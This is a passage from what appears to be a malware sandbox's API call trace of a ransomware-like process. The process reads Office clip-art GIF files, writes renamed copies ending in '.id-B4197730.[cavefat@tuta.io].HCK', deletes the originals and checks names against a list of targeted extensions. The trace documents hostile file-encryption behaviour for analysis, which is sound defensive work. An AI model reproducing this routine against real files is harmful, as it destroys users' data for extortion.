lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x462c, lpOverlapped=0x0) returned 1 [0228.847] WriteFile (in: hFile=0x4c4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x4630, lpOverlapped=0x0) returned 1 [0228.848] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.848] WriteFile (in: hFile=0x4c4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.848] SetEndOfFile (hFile=0x4c4) returned 1 [0228.848] CloseHandle (hObject=0x4c4) returned 1 [0228.848] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.848] SetEndOfFile (hFile=0x454) returned 1 [0228.851] CloseHandle (hObject=0x454) returned 1 [0228.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0228.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0228.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0228.852] lstrlenW (lpString=".doc") returned 4 [0228.852] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0228.852] lstrlenW (lpString=".docx") returned 5 [0228.852] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0228.853] lstrlenW (lpString=".pdf") returned 4 [0228.853] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0228.853] lstrlenW (lpString=".xls") returned 4 [0228.853] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0228.853] lstrlenW (lpString=".xlsx") returned 5 [0228.853] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0228.853] lstrlenW (lpString=".ppt") returned 4 [0228.853] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0228.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0228.853] lstrlenW (lpString=".zip") returned 4 [0228.853] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0228.853] lstrlenW (lpString=".rar") returned 4 [0228.853] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0228.853] lstrlenW (lpString=".bz2") returned 4 [0228.853] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0228.853] lstrlenW (lpString=".7z") returned 3 [0228.853] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0228.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0228.853] lstrlenW (lpString=".dbf") returned 4 [0228.853] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0228.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0228.853] lstrlenW (lpString=".1cd") returned 4 [0228.853] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0228.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0228.853] lstrlenW (lpString=".jpg") returned 4 [0228.853] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0228.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0228.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0228.853] lstrlenW (lpString=".doc") returned 4 [0228.853] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0228.853] lstrlenW (lpString=".docx") returned 5 [0228.853] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0228.853] lstrlenW (lpString=".pdf") returned 4 [0228.853] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0228.853] lstrlenW (lpString=".xls") returned 4 [0228.853] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0228.853] lstrlenW (lpString=".xlsx") returned 5 [0228.853] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0228.853] lstrlenW (lpString=".ppt") returned 4 [0228.853] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0228.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0228.853] lstrlenW (lpString=".zip") returned 4 [0228.853] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0228.853] lstrlenW (lpString=".rar") returned 4 [0228.853] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0228.853] lstrlenW (lpString=".bz2") returned 4 [0228.853] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0228.854] lstrlenW (lpString=".7z") returned 3 [0228.854] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0228.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0228.854] lstrlenW (lpString=".dbf") returned 4 [0228.854] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0228.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0228.854] lstrlenW (lpString=".1cd") returned 4 [0228.854] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0228.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0228.854] lstrlenW (lpString=".jpg") returned 4 [0228.854] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0228.854] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0228.854] lstrlenW (lpString="J0099193.GIF") returned 12 [0228.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0228.855] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=35546) returned 1 [0228.855] CloseHandle (hObject=0x454) returned 1 [0228.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220 [0228.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0228.856] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.856] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0228.857] GetLastError () returned 0x0 [0228.857] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x8ada, lpOverlapped=0x0) returned 1 [0228.862] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x8ae0, lpOverlapped=0x0) returned 1 [0229.157] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.157] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.157] SetEndOfFile (hFile=0x4cc) returned 1 [0229.157] CloseHandle (hObject=0x4cc) returned 1 [0229.157] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.157] SetEndOfFile (hFile=0x454) returned 1 [0229.159] CloseHandle (hObject=0x454) returned 1 [0229.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0229.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0229.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0229.160] lstrlenW (lpString=".doc") returned 4 [0229.160] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.160] lstrlenW (lpString=".docx") returned 5 [0229.160] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0229.160] lstrlenW (lpString=".pdf") returned 4 [0229.160] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.160] lstrlenW (lpString=".xls") returned 4 [0229.160] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.160] lstrlenW (lpString=".xlsx") returned 5 [0229.160] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0229.160] lstrlenW (lpString=".ppt") returned 4 [0229.160] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0229.160] lstrlenW (lpString=".zip") returned 4 [0229.160] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.160] lstrlenW (lpString=".rar") returned 4 [0229.160] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.160] lstrlenW (lpString=".bz2") returned 4 [0229.160] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.161] lstrlenW (lpString=".7z") returned 3 [0229.161] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0229.161] lstrlenW (lpString=".dbf") returned 4 [0229.161] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0229.161] lstrlenW (lpString=".1cd") returned 4 [0229.161] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0229.161] lstrlenW (lpString=".jpg") returned 4 [0229.161] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0229.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0229.161] lstrlenW (lpString=".doc") returned 4 [0229.161] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.161] lstrlenW (lpString=".docx") returned 5 [0229.161] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0229.161] lstrlenW (lpString=".pdf") returned 4 [0229.161] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.161] lstrlenW (lpString=".xls") returned 4 [0229.161] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.161] lstrlenW (lpString=".xlsx") returned 5 [0229.161] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0229.161] lstrlenW (lpString=".ppt") returned 4 [0229.161] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0229.161] lstrlenW (lpString=".zip") returned 4 [0229.161] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.161] lstrlenW (lpString=".rar") returned 4 [0229.161] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.161] lstrlenW (lpString=".bz2") returned 4 [0229.161] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.161] lstrlenW (lpString=".7z") returned 3 [0229.161] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0229.161] lstrlenW (lpString=".dbf") returned 4 [0229.161] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0229.161] lstrlenW (lpString=".1cd") returned 4 [0229.161] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0229.161] lstrlenW (lpString=".jpg") returned 4 [0229.161] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.161] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0229.161] lstrlenW (lpString="J0099201.GIF") returned 12 [0229.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0229.162] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=51401) returned 1 [0229.162] CloseHandle (hObject=0x454) returned 1 [0229.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220 [0229.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0229.163] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.163] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0229.163] GetLastError () returned 0x0 [0229.163] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xc8c9, lpOverlapped=0x0) returned 1 [0229.166] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xc8d0, lpOverlapped=0x0) returned 1 [0229.167] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.167] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.167] SetEndOfFile (hFile=0x4cc) returned 1 [0229.167] CloseHandle (hObject=0x4cc) returned 1 [0229.168] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.168] SetEndOfFile (hFile=0x454) returned 1 [0229.170] CloseHandle (hObject=0x454) returned 1 [0229.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0229.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0229.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0229.171] lstrlenW (lpString=".doc") returned 4 [0229.171] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.171] lstrlenW (lpString=".docx") returned 5 [0229.171] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0229.171] lstrlenW (lpString=".pdf") returned 4 [0229.171] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.171] lstrlenW (lpString=".xls") returned 4 [0229.171] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.171] lstrlenW (lpString=".xlsx") returned 5 [0229.171] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0229.171] lstrlenW (lpString=".ppt") returned 4 [0229.171] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0229.172] lstrlenW (lpString=".zip") returned 4 [0229.172] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.172] lstrlenW (lpString=".rar") returned 4 [0229.172] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.172] lstrlenW (lpString=".bz2") returned 4 [0229.172] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.172] lstrlenW (lpString=".7z") returned 3 [0229.172] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0229.172] lstrlenW (lpString=".dbf") returned 4 [0229.172] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0229.172] lstrlenW (lpString=".1cd") returned 4 [0229.172] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0229.172] lstrlenW (lpString=".jpg") returned 4 [0229.172] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0229.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0229.172] lstrlenW (lpString=".doc") returned 4 [0229.172] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.172] lstrlenW (lpString=".docx") returned 5 [0229.172] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0229.172] lstrlenW (lpString=".pdf") returned 4 [0229.172] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.172] lstrlenW (lpString=".xls") returned 4 [0229.172] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.172] lstrlenW (lpString=".xlsx") returned 5 [0229.172] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0229.172] lstrlenW (lpString=".ppt") returned 4 [0229.172] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0229.172] lstrlenW (lpString=".zip") returned 4 [0229.172] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.172] lstrlenW (lpString=".rar") returned 4 [0229.172] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.172] lstrlenW (lpString=".bz2") returned 4 [0229.173] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.173] lstrlenW (lpString=".7z") returned 3 [0229.173] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0229.173] lstrlenW (lpString=".dbf") returned 4 [0229.173] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0229.173] lstrlenW (lpString=".1cd") returned 4 [0229.173] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0229.173] lstrlenW (lpString=".jpg") returned 4 [0229.173] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.173] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0229.173] lstrlenW (lpString="J0099202.GIF") returned 12 [0229.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0229.174] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4967) returned 1 [0229.174] CloseHandle (hObject=0x454) returned 1 [0229.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220 [0229.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0229.175] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.175] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0229.175] GetLastError () returned 0x0 [0229.175] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1367, lpOverlapped=0x0) returned 1 [0229.177] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1370, lpOverlapped=0x0) returned 1 [0229.178] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: 